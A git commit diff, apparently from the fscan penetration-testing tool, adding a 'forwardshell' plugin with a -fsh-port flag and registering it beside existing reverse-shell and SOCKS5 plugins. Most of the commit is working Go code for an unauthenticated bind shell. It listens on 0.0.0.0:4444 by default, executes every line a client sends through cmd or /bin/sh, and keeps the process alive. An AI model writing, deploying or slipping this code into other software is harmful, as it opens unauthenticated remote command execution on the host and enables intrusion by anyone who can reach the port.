feat: 添加正向Shell本地插件

- 新增forwardshell本地插件,支持跨平台远程Shell访问
- 支持Windows (cmd)、Linux/macOS (/bin/sh) 平台
- 添加-fsh-port参数指定监听端口,默认4444
- 实现并发连接处理和命令超时控制
- 集成生命周期管理,支持长时间运行
- 提供exit命令优雅断开连接
This commit is contained in:
ZacharyZcR 2025-08-11 04:39:28 +08:00
parent 50247ee1e4
commit 0eef393420
5 changed files with 352 additions and 3 deletions

View File

@ -71,6 +71,10 @@ var (
Socks5ProxyPort int // SOCKS5代理监听端口 Socks5ProxyPort int // SOCKS5代理监听端口
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态 Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
// 正向Shell相关变量
ForwardShellPort int // 正向Shell监听端口
ForwardShellActive bool // 正向Shell是否处于活跃状态
// Parse.go 使用的变量 // Parse.go 使用的变量
HostPort []string HostPort []string
URLs []string URLs []string
@ -228,6 +232,7 @@ func Flag(Info *HostInfo) {
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode")) flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target")) flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy")) flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language")) flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数 // 帮助参数
@ -374,12 +379,12 @@ func checkParameterConflicts() {
if LocalMode { if LocalMode {
if LocalPlugin == "" { if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n") fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell\n")
os.Exit(1) os.Exit(1)
} }
// 验证本地插件名称 // 验证本地插件名称
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件 validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell"} // 已重构的插件
isValid := false isValid := false
for _, valid := range validPlugins { for _, valid := range validPlugins {
if LocalPlugin == valid { if LocalPlugin == valid {
@ -390,7 +395,7 @@ func checkParameterConflicts() {
if !isValid { if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n") fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell\n")
os.Exit(1) os.Exit(1)
} }
} }

View File

@ -238,6 +238,10 @@ var FlagMessages = map[string]map[string]string{
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)", LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)", LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
}, },
"flag_forward_shell_port": {
LangZH: "启动正向Shell服务器端口 (如: 4444)",
LangEN: "Start forward shell server on port (e.g.: 4444)",
},
"flag_language": { "flag_language": {
LangZH: "语言: zh, en", LangZH: "语言: zh, en",
LangEN: "Language: zh, en", LangEN: "Language: zh, en",

View File

@ -75,6 +75,14 @@ func RunScan(info common.HostInfo) {
select {} // 阻塞等待,直到收到系统信号 select {} // 阻塞等待,直到收到系统信号
} }
if common.ForwardShellActive {
common.LogBase("检测到活跃的正向Shell保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持正向Shell
select {} // 阻塞等待,直到收到系统信号
}
// 完成扫描 // 完成扫描
finishScan() finishScan()
} }

View File

@ -0,0 +1,331 @@
package forwardshell
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ForwardShellPlugin 正向Shell插件 - 使用简化架构
type ForwardShellPlugin struct {
*local.BaseLocalPlugin
port int
listener net.Listener
}
// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
func NewForwardShellPlugin() *ForwardShellPlugin {
// 从全局参数获取正向Shell端口
port := common.ForwardShellPort
if port <= 0 {
port = 4444 // 默认端口
}
metadata := &base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"local", "shell", "remote", "access"},
Protocols: []string{"local"},
}
plugin := &ForwardShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限(除非需要绑定低端口)
plugin.SetRequiresPrivileges(port < 1024)
return plugin
}
// Initialize 初始化插件
func (p *ForwardShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行正向Shell扫描 - 简化版本
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动正向Shell服务器...")
// 启动正向Shell服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
// 直接在当前goroutine中运行这样可以确保在设置ForwardShellActive后立即被主程序检测到
err := p.startForwardShellServer(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ForwardShell",
Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": p.port,
"platform": runtime.GOOS,
"service": "shell",
"status": "completed",
},
}
return result, nil
}
// startForwardShellServer 启动正向Shell服务器 - 核心实现
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %v", err)
}
defer listener.Close()
p.listener = listener
common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
// 设置正向Shell为活跃状态告诉主程序保持运行
common.ForwardShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ForwardShellActive = false
}()
// 主循环处理连接
for {
select {
case <-ctx.Done():
common.LogBase("正向Shell服务器被上下文取消")
return ctx.Err()
default:
}
// 设置监听器超时,以便能响应上下文取消
if tcpListener, ok := listener.(*net.TCPListener); ok {
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
}
conn, err := listener.Accept()
if err != nil {
// 检查是否是超时错误
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue // 超时继续循环
}
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
continue
}
common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
// 并发处理客户端连接
go p.handleClient(conn)
}
}
// handleClient 处理客户端连接
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
defer clientConn.Close()
// 发送欢迎信息
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
clientConn.Write([]byte(welcome))
// 创建命令处理器
scanner := bufio.NewScanner(clientConn)
for scanner.Scan() {
command := strings.TrimSpace(scanner.Text())
if command == "" {
continue
}
if command == "exit" {
clientConn.Write([]byte("Goodbye!\n"))
common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
break
}
// 执行命令并返回结果
p.executeCommand(clientConn, command)
}
if err := scanner.Err(); err != nil {
common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
}
}
// executeCommand 执行命令并返回结果
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
var cmd *exec.Cmd
// 根据平台创建命令
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/c", command)
case "linux", "darwin":
cmd = exec.Command("/bin/sh", "-c", command)
default:
conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
return
}
// 设置命令超时
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if ctx.Err() == context.DeadlineExceeded {
conn.Write([]byte("命令执行超时\n"))
return
}
if err != nil {
conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
return
}
// 发送命令输出
if len(output) == 0 {
conn.Write([]byte("(命令执行成功,无输出)\n"))
} else {
conn.Write(output)
// 确保输出以换行符结尾
if !strings.HasSuffix(string(output), "\n") {
conn.Write([]byte("\n"))
}
}
// 发送命令提示符
prompt := p.getPrompt()
conn.Write([]byte(prompt))
}
// getPrompt 获取平台特定的命令提示符
func (p *ForwardShellPlugin) getPrompt() string {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME") // Windows
}
if username == "" {
username = "user"
}
switch runtime.GOOS {
case "windows":
return fmt.Sprintf("%s@%s> ", username, hostname)
case "linux", "darwin":
return fmt.Sprintf("%s@%s$ ", username, hostname)
default:
return fmt.Sprintf("%s@%s# ", username, hostname)
}
}
// GetLocalData 获取正向Shell本地数据
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "forwardshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["port"] = p.port
data["service"] = "shell"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据正向Shell主要是服务功能
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("正向Shell服务器运行完成端口: %d", p.port),
Data: data,
Extra: map[string]interface{}{
"port": p.port,
"service": "shell",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *ForwardShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("正向Shell服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供远程Shell访问支持命令执行\n")
info.WriteString("协议: TCP基于文本的命令交互\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n")
return info.String()
}
// RegisterForwardShellPlugin 注册正向Shell插件
func RegisterForwardShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"forwardshell", "local", "shell", "remote"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewForwardShellPlugin()
},
)
base.GlobalPluginRegistry.Register("forwardshell", factory)
}
// init 插件注册函数
func init() {
RegisterForwardShellPlugin()
}

View File

@ -14,6 +14,7 @@ import (
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用 _ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用 _ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用 _ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 新增,可用
) )
func main() { func main() {